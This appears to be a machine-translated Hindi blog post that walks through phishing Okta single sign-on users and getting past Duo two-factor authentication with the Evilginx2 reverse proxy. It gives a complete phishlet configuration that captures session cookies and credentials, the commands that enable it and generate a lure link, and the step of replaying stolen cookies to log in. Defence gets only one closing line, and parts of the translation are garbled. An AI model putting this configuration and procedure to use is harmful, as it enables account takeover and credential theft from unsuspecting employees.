🔸 👨‍👦‍👦 ⚕️ झटका! नया फ़िशिंग सॉफ़्टवेयर दूसरा कारक जीतता है 🏈 🎨 👩‍❤️‍💋‍👨

सभी को नमस्कार!

ऐसे समय होते हैं जब आपको किसी के लिए साइन अप करने की आवश्यकता होती है। यह तब होता है जब लक्ष्य संगठन प्रमाणीकरण के लिए एक दूसरे कारक के साथ कॉन्फ़िगर किया गया है - एसएमएस, Google प्रमाणक, डुओ। ऐसे मामलों में क्या करना है? हिरन गोपनिक? कर्मचारियों को फोन काटने के लिए? नहीं! यह पता चला है कि चालाक हैकर्स ने सॉफ्टवेयर लिखा है जो इस मुश्किल स्थिति में मदद कर सकता है।

Evilginx2 एक फ़िशिंग फ्रेमवर्क है जो पीड़ित और साइट के बीच प्रॉक्सी के रूप में काम करता है, जिससे हम खाते प्राप्त करना चाहते हैं। पहले, उन्होंने कस्टम नगनेक्स का उपयोग किया था, लेकिन अब यह गो पर पूरी तरह से फिर से लिखा गया है, इसमें मिनी HTTP और DNS सर्वर शामिल हैं, जो स्थापना और परिनियोजन को सरल करता है।

यह कैसे काम करता है? सॉफ्टवेयर के लेखक ने अपनी वेबसाइट पर विस्तार से वर्णन किया है, स्थापना और कॉन्फ़िगरेशन के विवरण गिथब प्रोजेक्ट पृष्ठ पर पाए जा सकते हैं। दूसरे कारक को दरकिनार करना क्यों संभव है? चाल यह है कि हम कोड को एसएमएस / अस्थायी पासवर्ड / डीयू से पुश करने की प्रक्रिया में हस्तक्षेप नहीं करते हैं। हम चुपचाप उपयोगकर्ता के सभी प्रमाणीकरण चरणों को सफलतापूर्वक पूरा करने, उसकी कुकी को पकड़ने और पहले से ही लॉगिन के लिए उपयोग करने की प्रतीक्षा कर रहे हैं। जिस तरह से, बस उसी स्थिति में हम उसका उपयोगकर्ता नाम और पासवर्ड एकत्र करते हैं। उसी नोट में, मैं अपने अनुभव और मेरे द्वारा सामना किए गए नुकसान के बारे में बात करूंगा।

कार्य

इसलिए, हमें एक कार्यालय पंजीकृत करने की आवश्यकता है जो सक्रिय रूप से ओक्टा को एकल साइन-ऑन के रूप में उपयोग करता है। दूसरे कारक के रूप में, डुओ का उपयोग किया जाता है - एक समाधान जिसका मोबाइल क्लाइंट में चिप आपको 35-अंकीय कोड (hi Google प्रमाणक) दर्ज करने के बजाय नियमित पुश सूचनाओं के माध्यम से दूसरे कारक की पुष्टि करने की अनुमति देता है। चलिए शुरू करते हैं।

चरण एक - एक फ़िशिंग डोमेन पंजीकृत करें

हमारे प्रदाता के पैनल में, उस सर्वर का पता निर्दिष्ट करें जिस पर फ़िशिंग स्थित होगी। हम फॉर्म okta.< >.com का एक उपडोमेन भी रजिस्टर करते हैं okta.< >.com

चरण दो - कॉन्फ़िगर ईविलगिनीक्स

हम Evilginx शुरू करते हैं और config कमांड के माध्यम से हम आवश्यक सेटिंग्स दर्ज करते हैं। हम मुख्य डोमेन (एक उपडोमेन नहीं) और उसके आईपी को इंगित करते हैं।

 config domain < >.com config ip 10.0.0.1

परिणामस्वरूप, कॉन्फ़िगरेशन इस तरह दिखता है:

redirect_url पैरामीटर यहां दिलचस्प है - यह इंगित करता है कि क्लाइंट हमारे डोमेन की जड़ में आने पर अनुरोध को कहां पुनर्निर्देशित करता है। ऐसा क्यों किया जाता है? यदि आप रूट से एक फ़िशिंग पृष्ठ देते हैं, तो डोमेन बहुत तेज़ी से गणना की जाती है और खतरनाक साइटों की सूची में जोड़ा जाता है, ब्राउज़र मासिक रूप से शपथ लेंगे, और उपयोगकर्ता कभी भी हमारे पास नहीं पहुंचेंगे। इसलिए, हम इसे एक अनूठे लिंक के माध्यम से देंगे, और रूट नेवर गॉन गिव यू अप अप गीत को रीडायरेक्ट करेगा।

चरण तीन - एक फ़िशिंग पृष्ठ सेट करें

यहां मस्ती शुरू होती है। चूंकि, वास्तव में, हमारे सर्वर पर हम किसी भी सामग्री को होस्ट नहीं करते हैं, लेकिन केवल अनुमानित अनुरोध हैं, हमें एविलगिनक्स को "बताने" की आवश्यकता है कि हम किस डेटा को प्राप्त करना चाहते हैं। यह "कहानी" हम एक विशेष प्रारूप में लिखते हैं। इसका प्रलेखन प्रोजेक्ट विकी पेज पर उपलब्ध है। इन फिशलेट विवरण को कहा जाता है। कुछ लोकप्रिय सेवाओं के लिए - फेसबुक, लिंक्डइन, अमेज़ॅन, वे पहले से ही लिखित और वितरण में शामिल हैं। हम कम भाग्यशाली थे, बॉक्स से बाहर ओक्टा समर्थित नहीं है, लेकिन दयालु लोगों ने पुराने संस्करण के लिए एक फिशलेट लिखा। हम एक फ़ाइल लेते हैं और मिलाप शुरू करते हैं।

विवरण भरें, फ़िशलेट, लेखकों का नाम और एविलगिनेक्स के आवश्यक संस्करण को निर्दिष्ट करें।

 name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0'

हम इंगित करते हैं कि हम किस डोमेन पर मछली पकड़ने जा रहे हैं। हमारे मामले में, प्रपत्र का एक डोमेन < >.okta.com ।

 proxy_hosts: - {phish_sub: '', orig_sub: '<   >', domain: 'okta.com', session: true, is_landing: true}

session पैरामीटर इंगित करता है कि यह वह डोमेन है जो कुकीज़ को हमारी आवश्यकता है और क्रेडेंशियल्स को वहां स्थानांतरित किया जाता है, is_landing अर्थ है कि इस होस्ट का उपयोग फ़िशिंग URL उत्पन्न करने के लिए किया जाएगा।

अगला महत्वपूर्ण कदम लक्ष्य डोमेन के सभी अनुरोधों की पहचान करना है ताकि परदे के पीछे उन्हें फ़िशिंग डोमेन पर सफलतापूर्वक लिख दिया जाए। यदि ऐसा नहीं किया जाता है, तो उपयोगकर्ता डेटा हमें नहीं, बल्कि मूल डोमेन को तुरंत भेज देगा, और हमने कोई भी खाता नहीं पकड़ा। केवल उन अनुरोधों को फिर से लिखें जो साइट पर उपयोगकर्ता लॉगिन की प्रक्रिया में सीधे शामिल हैं।

सफल प्रमाणीकरण के लिए स्पष्ट रूप से समझने के लिए कि आपको इस प्रक्रिया का सावधानीपूर्वक अध्ययन करने की आवश्यकता है। बर्प और परीक्षण खातों के साथ सशस्त्र, हम यह देखना शुरू करते हैं कि पासवर्ड कैसे प्रसारित किया जाता है और किन कुकीज़ द्वारा एप्लिकेशन अधिकृत उपयोगकर्ता को निर्धारित करता है। हम उस सर्वर से उत्तर भी ढूंढ रहे हैं जिसमें मूल डोमेन के लिंक हैं।

हमें एक अनुरोध मिलता है जिसमें लॉगिन और पासवर्ड प्रेषित होते हैं। हम देखते हैं कि इसे मूल डोमेन में भेजा गया है, लेकिन हमें हमें छोड़ने की आवश्यकता है।

यहां आप देख सकते हैं कि मूल डोमेन जावास्क्रिप्ट के अंदर लिंक कैसे प्रस्तुत करता है, उन्हें फिर से लिखना होगा।

इसे एकत्र करने और कुछ और अनुरोध करने के बाद, हमें निम्नलिखित सेटिंग्स मिलती हैं:

 sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}

कीवर्ड {hostname} का उपयोग मूल डोमेन को फ़िशिंग के साथ बदलने के लिए किया जाता है। इस अनुभाग के सिंटैक्स के बारे में यहाँ और पढ़ें।

याद रखें, हमें कुकीज़ की आवश्यकता है जिसके साथ हम साइट में लॉग इन करेंगे। परीक्षण और त्रुटि के माध्यम से, हमें कुकी नाम - sid पता चलता है, और इसे सेटिंग्स में जोड़ें:

 auth_tokens: - domain: '< >.okta.com' keys: ['sid']

उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड भी हमारे लिए उपयोगी है, हमने पहले ही अनुरोध पा लिया है जिसमें वे प्रेषित हैं। जैसा कि आप अनुरोध में देख सकते हैं, हमें जो username और password पैरामीटर की आवश्यकता होती है, उसे पास किया जाता है, हम जोड़ते हैं:

 credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json'

इसलिए एविलगिनेक्स उन्हें प्रश्नों से अलग करने और उन्हें सही ढंग से सहेजने में सक्षम होगा।

बहुत कम बचा है। लक्ष्य डोमेन पर लॉगिन पृष्ठ का URL निर्दिष्ट करें।

 landing_path: - '/login/login.htm'

हम उस URL को इंगित करेंगे जिसके द्वारा हम समझेंगे कि उपयोगकर्ता सफलतापूर्वक लॉग इन किया हुआ है।

 auth_urls: - 'app/UserHome'

वह सब है! संपूर्ण कॉन्फ़िगरेशन:

 name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '<   >'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '< >.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome'

इसे okta.yaml रूप में /usr/share/evilginx/phishlets ।

चरण चार - हमारे नए फ़िशिंग को सक्षम करें

बैजिनेक्स चलाएं और एक कमांड लिखें

 phishlets hostname okta okta.<  >.com

फिशलेट चालू करें।

 phishlets enable okta

LetsEncrypt का एक प्रमाणपत्र इसके लिए स्वचालित रूप से बनाया गया है।
सेटिंग्स की जाँच करें:

हम संकेत देते हैं कि सफल प्राधिकरण के बाद हम उपयोगकर्ता को कहाँ पर पुनर्निर्देशित करेंगे

 phishlets get-url okta https://< >.okta.com/

आवेदन एक लिंक देगा जो उपयोगकर्ताओं को भेजने की जरूरत है, फॉर्म https://< >.com/login/login.htm?rb=9ffe&ec=< >

चरण 4 - पकड़ने के लिए इंतजार कर रहा है

हम पत्र (एक अलग लेख के लिए प्रौद्योगिकियां - सामग्री भेजना) और प्रतीक्षा करते हैं।
एक कमजोर, भरोसेमंद उपयोगकर्ता लिंक का अनुसरण करता है और लॉग इन करता है। हम इसे इस तरह देखते हैं:

सभी पकड़े गए खाते सत्रों तक जोड़ते हैं। वांछित एक का चयन करें और इसे से कुकीज़ को कॉपी करें:

ब्राउज़र खोलें, कुकीज और वॉइसिला चुनें - हम अंदर हैं:

अंतभाषण

Evilginx बहुत फ़िशिंग पृष्ठों के निर्माण को सरल करता है, विशेष रूप से 2FA के लिए। इसके अलावा, इन पृष्ठों को आसानी से संग्रहीत और दोस्तों के साथ साझा किया जाता है। सुरक्षा के तरीके - यू 2 एफ मानक उपकरणों का उपयोग, नए प्रमाणीकरण तरीकों के लिए संक्रमण।

आप वर्णित दृष्टिकोण के बारे में क्या सोचते हैं? आप खाते कैसे जमा करते हैं?

झटका! नया फ़िशिंग सॉफ़्टवेयर दूसरा कारक जीतता है